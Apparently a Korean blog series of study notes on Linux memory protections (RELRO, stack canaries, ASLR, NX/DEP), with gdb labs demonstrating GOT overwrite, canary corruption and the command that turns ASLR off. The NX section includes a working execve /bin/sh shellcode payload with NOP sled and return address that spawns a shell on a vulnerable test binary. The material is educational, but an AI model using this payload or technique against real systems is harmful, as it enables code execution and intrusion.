메모리 보호 기법 (RELRO)

메모리 보호 기법 종류

  1. NX Bit ( MS : DEP )
  2. ASLR
  3. Canaries
  4. RELRO
  5. PIE

RELRO

Explanation

  • RELRO는 RELocation Read-Only의 줄임말이며, ELF 바이너리 / 프로세스의 데이터 섹션의 보안을 강화하는 일반적인 기술이다.

  • RELRO에는 Partial RELRO와 FULL RELRO 두가지 모드가 있다.

    • 각각 RELRO에 대한 특징은 다음과 같다.

      • No RELRO

        1. 명령어 옵션 : gcc -Wl,-z,norelro

        2. Lazy Binding

        3. Write to GOT

      • Partial RELRO

        1. 명령어 옵션 : gcc -Wl,-z,relro
        2. Lazy Binding
        3. Write to GOT
        4. RELRO in the Program Header
        5. Section include in RELRO
          • INIT_ARRAY
          • FINI_ARRAY
      • FULL RELRO

        1. 명령어 옵션 : gcc -Wl,-z,relro,-z,now
        2. Now Binding
        3. RELRO in Program Header
        4. Section include in RELRO
          • INIT_ARRAY
          • FINI_ARRAY
          • PLTGOT

부연 설명

Lazy Binding은 got호출 시점에 라이브러리를 메모리에(?) 저장하는것이다.

Now Binding은 프로그램 실행시 라이브버리를 메모리에(?) 저장하는 것이다.


실습

#include <stdio.h>
#include <string.h>

void main(){

        char address[16];
        size_t *pointer;
        int count = 1;

        while(count != 100)
        {
                printf("----- %d -----\n",count);
                memset(address,0,16);
                printf("Input Pointer address : ");
                fgets(address,16,stdin);

                pointer = strtol(address,0,16);
                printf("Pointer address : %p\n",pointer);

                printf("Input Pointer text : ");
                fgets(pointer,16,stdin);
                printf("Pointer text : %s\n",pointer);
                count++;
        }
        scanf("%s",address);
}

주소를 입력한뒤 그곳에 텍스트를 입력하면 그 주소에 입력된 텍스트를 정수로 바꾸어 넣어주는 소스코드이다.

No RELRO

image

gdb에 있는 기능 중 elfsymbol을 입력하여 각 함수의 @plt 주소를 구하고 입력에 관한 scanf함수를 더 자세히 찾아 got 주소를 알아낼 수 있었다.

got주소에 어떤 값이 들어있는지 확인하고 위 함수를 이용해 해당 주소에 값을 바꾸었을 때 성공적으로 값이 바뀌는 것을 확인하였다.

따라서 GOT Overwrite가 가능하다는 것을 확인할 수 있었다.

Partial RELRO

image

Partial RELRO 또한 같은 과정을 통해 GOT Overwrite 가 가능하다는 것을 확인하였다.

FULL RELRO

image

FULL RELRO는 앞서 보았던 No RELRO, Partial RELRO와 다르게 GOT Overwrite가 일어나지 않는것을 확인했다.

그 이유는 FULL RELRO에 Program Header 에 RELRO 영역에는 PLT GOT가 포함되어 있어서 got가 Read-Only로 작동하기 때문에 값이 수정될 수 없는 것이다.


Reference

http://lazenca.net/display/TEC/04.RELRO

http://lazenca.net/pages/viewpage.action?pageId=1147912

https://hackstoryadmin.tistory.com/entry/Linux-Memory-Protection-RELRO

메모리 보호 기법 (Canaries)

메모리 보호 기법 종류

  1. NX Bit ( MS : DEP )
  2. ASLR
  3. Canaries
  4. RELRO
  5. PIE

Canaries

  • Canaries 또는 Canary word는 버퍼 오버 플로우를 모니터하기 위해 버퍼와 제어 데이터 사이에 설정 된 값
  • 버퍼 오버플로가 발생하면 Canary 값이 손상되며, Canaries 데이터의 검증에 실패하여, 오버플로에 대한 경고가 출력되고, 손상된 데이터를 무효화 처리

Canaries 종류

Terminator Canaries

  • Terminator Canaries는 Canary의 값을 문자열의 끝을 나타내는 문자들을 이용해 생성
  • Terminator Canaries의 값은 NULL (0x00), CR (0x0d), LF (0x0a) 및 EOF (0xff)로 구성
    • 공격자는 Canaries를 우회하기 위해 Return Address를 쓰기 전에 Null문자를 써야 한다.
    • Null문자로 인해 Overflow를 방지하게 됨
      • strcpy()는 null문자의 위치까지 복사
    • 이 보호에도 불구하고 공격자는 잠재적으로 Canary를 알려진 값으로 겹쳐 쓰고 정보를 트린 값들로 제어해서 Canary 검사 코드를 통과할 수 있음

Random Canaries

  • Random Canaries는 Canary의 값을 랜덤하게 값이 생성합니다.

    • 일반적으로 익스플로잇을 이용해 Canary를 읽는 것은 논리적으로 불가능하다.
  • Random Canaries는 프로그램 초기 설정 시에 전역 변수에 Canary 값이 저장된다.

    • 이 값은 보통 매핑되지 않은 페이지에 저장
      • 해당 메모리를 읽으려는 시도를 할 경우 segmentation fault가 발생하고 프로그램이 종료
    • 공격자가 Canary 값이 저장된 Stack Address를 알거나 스택의 값을 읽어올수 있는 프로그램이 있다면 Canary의 값을 확인 할 수 있다.

Random XOR Canaries

  • Random XOR Canaries는 Canary의 값을 모든 제어 데이터 또는 일부를 사용해 XOR-scramble 하여 생성
    • 이 방식은 Canary의 값, 제어 데이터가 오염되면 Canary의 값이 틀려짐
  • Random XOR Canaries는 Random Canaries와 동일한 취약점을 가지고 있음
    • 단지 Canary 값을 Stack에서 읽어오는 방법이 조금 더 복잡
    • 공격자는 Canary를 다시 인코딩 하기위해 Original Canary 값, 알고리즘, 제어 데이터가 필요

실습

image

Canary의 메인 부분이다. [rbp-0x8]에서 값을 가져와 검증을 한뒤 같으면 리턴으로 보내고 다르면 stack_chk_fail함수를 호출하여 진행한 뒤 에러메시지를 출력한다. 그렇다면 여기서 Canary의 값은 [rbp-0x8] 일 것이다.

image

bp를 main+64와 73에 각각 걸어주고 Canary 값을 확인해보자.

image

[rbp-0x8]을 rax로 옮겨오는 과정을 거쳐 간단하게 Canary 값을 확인할 수 있었다. 그럼 다음은 Canary 동작과정을 살펴보자.

image

실행 입력은 위와 같이 A로 채운뒤 Canary값을 'B' = '\x42'로 변조하였다.

image

Canary의 값이 '\x42'로 뒤덮인 것을 확인하고 c를 눌러 다음 과정을 살펴보자.

image

xor연산으로 인해 rax가 0이 되지 않고 다른 값이 나왔기 때문에 다음 함수인 stack_chk_fail함수를 호출하여 에러 메시지를 출력하고 종료한다.


Reference

http://lazenca.net/display/TEC/03.Canaries

메모리 보호 기법 ( ASLR )

메모리 보호 기법 종류

  1. NX Bit ( MS : DEP )
  2. ASLR
  3. Canaries
  4. RELRO
  5. PIE

ASLR

  • ASLR (Address Space Layout Randomization)이란?
    • 메모리 손상 취약점 공격을 방지하기 위한 기술
    • 스택, 힙, 라이브러리, 등의 주소를 랜덤한 영역에 배치하여, 공격에 필요한 Target address를 예측하기 어렵게 만듦
    • 프로그램이 실행 될 때 마다 각 주소들이 변경됨
  • 예를 들어 Return-To-Libc(RTL) 공격을 하기 위해서는 공유 라이브러리에서 사용하려는 함수의 주소를 알아야 한다.
    • 이러한 주소 값들이 프로그램이 호출 될 때 마다 고정적인 주소를 가진다면 매우 쉽게 활용할 수 있다.
    • 하지만 ASLR의 적용으로 인해 프로그램이 호출 될 때 마다 스택, 힙, 라이브러리 영역의 주소가 변경되면 공격에 어려워진다. (불가능하지는 않다.)

ASLR 설정

echo 0 > /proc/sys/kernel/randomize_va_space

// 0 : ASLR 해제
// 1 : 랜덤 스택 & 랜덤 라이브러리 설정
// 2 : 랜덤 스택 & 랜덤 라이브러리 설정 & 랜덤 힙 설정

실습

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *global = "c0wb3ll";

int main(){
    char *heap = malloc(100);
    char *stack[] = {"c0wb3ll"};

    printf("[Heap]  address: %p\n", heap);
    printf("[Stack] address: %p\n", stack);
    printf("[libc]  address: %p\n",**(&stack + 3));
    printf("[.data] address: %p\n",global);
    gets(heap);
    return 0;
}

예제 소스코드이다. heap, stack, libc 의 주소를 출력하는 프로그램이다.

echo 0 > /proc/sys/kernel/randomize_va_space

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7fffffffe0a0
[libc]  address: 0x7ffff7e1be0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7fffffffe0a0
[libc]  address: 0x7ffff7e1be0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7fffffffe0a0
[libc]  address: 0x7ffff7e1be0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ 

/proc/sys/kernel/randomize_va_space의 값이 0이면 위와 같이 Heap, Stack, Libc의 주소가 변경되지 않는것을 확인할 수 있다.

echo 1 > /proc/sys/kernel/randomize_va_space

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7ffd9978df00
[libc]  address: 0x7fc63342ee0b
[.data] address: 0x402004
^[[A
c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7ffd0ad3ffa0
[libc]  address: 0x7f42a8cf8e0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x4052a0
[Stack] address: 0x7fff2ff12ae0
[libc]  address: 0x7fc4936eae0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ 

/proc/sys/kernel/randomize_va_space의 값이 1이면 위와 같이 Stack, Libc의 주소가 변경되는 것을 확인할 수 있다.

echo 2 > /proc/sys/kernel/randomize_va_space

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x5fc2a0
[Stack] address: 0x7ffe507a7f90
[libc]  address: 0x7fe7e817be0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x1b022a0
[Stack] address: 0x7ffc5abae720
[libc]  address: 0x7f044df43e0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ ./ASLR 
[Heap]  address: 0x20772a0
[Stack] address: 0x7ffd93433950
[libc]  address: 0x7fea606d0e0b
[.data] address: 0x402004

c0wb3ll@kali:~/Desktop/laz/ASLR$ 

Heap,Stack,Libc의 주소를 모두 실행할 때 마다 바꿔주는 것을 확인할 수 있다.


reference

http://lazenca.net/display/TEC/02.ASLR

메모리 보호 기법 ( NX-Bit )

메모리 보호 기법 종류

  1. NX Bit ( MS : DEP )
  2. ASLR
  3. Canaries
  4. RELRO
  5. PIE

NX-Bit ( MS : DEP )?

  • NX-Bit ( Never eXecute Bit , 실행 방지 비트 )란?
    • 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술
    • NX특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세스 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다.
  • DEP ( Data Execution Prevention )이란?
    • 마이크로소프트 윈도우 운영 체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술
    • DEP는 두 가지 모드로 실행된다.
      • 하드웨어 DEP : 메모리에 명시적으로 실행 코드가 ㅍ포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시한다.
        • 대부분의 최신 프로세스는 하드웨어 적용 DEP를 지원한다.
      • 소프트웨어 DEP : CPU가 하드웨어 DEP를 지원하지 않을 경우 사용한다.
  • 예를 들어 공격자가 Heap, Stack 영역에 Shellcode를 저장해서 실행하기 위해서는 해당 영역에 실행권한이 있어야 한다.
    • DEP가 적용되지 않았을 경우에는 쉘코드가 실행이 됩니다.
    • DEP가 적용된 경우에는 실행권한이 없으므로 쉘코드가 실행되지 않습니다.
      • 프로그램에서 해당 동작에 대한 예외처리 후 프로세스가 종료 됩니다.

예제

//DEP.c

#include <stdio.h>
#include <stdlib.h>

int main(){
    char str[256];
    char *chare = (char*)malloc(100);

    printf("Input: ");
    gets(str);
    printf("%p\n", str);
}

기본적인 BOF가 있는 소스를 하나는 NX-Bit를 켜고 다른 하나는 끄고 컴파일을 해서 차이점을 알아보자.

DEP-disabled : gcc -z execstack -o DEP-disabled DEP.c
DEP-enabled : gcc -o DEP-enabled DEP.c
c0wb3ll@kali:~/Desktop/laz/NX$ checksec --file DEP-*
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-disabled'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-enabled'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
c0wb3ll@kali:~/Desktop/laz/NX$ 

실행권한 유/무 차이

Start              End                Perm    Name
0x0000555555554000 0x0000555555557000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555557000 0x0000555555558000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555558000 0x0000555555559000 rwxp    /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x00007ffff7df5000 0x00007ffff7fae000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rwxp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rwxp    mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p    [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp    [vdso]
0x00007ffff7fd4000 0x00007ffff7ffb000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp    mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp    [stack]

DEP-diabled의 실행 권한이 있는 메모리 영역은 13곳이다.

Start              End                Perm    Name
0x0000555555554000 0x0000555555555000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555555000 0x0000555555556000 r-xp    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555556000 0x0000555555557000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555557000 0x0000555555558000 r--p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555558000 0x0000555555559000 rw-p    /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x00007ffff7df5000 0x00007ffff7e1a000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7e1a000 0x00007ffff7f64000 r-xp    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7f64000 0x00007ffff7fae000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r--p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rw-p    /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rw-p    mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p    [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp    [vdso]
0x00007ffff7fd4000 0x00007ffff7fd5000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7fd5000 0x00007ffff7ff3000 r-xp    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]

하지만 DEP-enabled의 실행 권한이 있는 메모리 영역은 단 3곳밖에 존재하지 않는다.


실험

우선 실험에 앞서 다른 모든 보호 기법을 끄고 오로지 NX-Bit만 보기로 하자.

drwxr-xr-x 2 c0wb3ll c0wb3ll  4096 Apr 22 19:39 .
drwxr-xr-x 3 c0wb3ll c0wb3ll  4096 Apr 22 17:22 ..
-rw-r--r-- 1 c0wb3ll c0wb3ll   161 Apr 22 17:25 DEP.c
-rwxrwxrwx 1 root    root    16704 Apr 22 19:39 DEP-disabled
-rwxrwxrwx 1 root    root    16704 Apr 22 19:39 DEP-enabled

다음과 같이 disabled 와 enabled 파일이 있다.

c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-disabled 
Input : 0x7fffffffdfa0
ls
DEP-disabled  DEP.c  payload.py
DEP-enabled   core   peda-session-DEP-disabled.txt

다음과 같이 페이로드를 때렸을 때 NX-Bit가 꺼져있는 disabled 파일은 제대로 쉘이 따진 반면

c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-enabled
Input : 0x7fffffffdfa0
ls
Segmentation fault (core dumped)

NX-Bit가 켜진 enabled 파일은 세그폴트오류가 나는것을 확인하였다.


reference

http://lazenca.net/pages/viewpage.action?pageId=1147904

+ Recent posts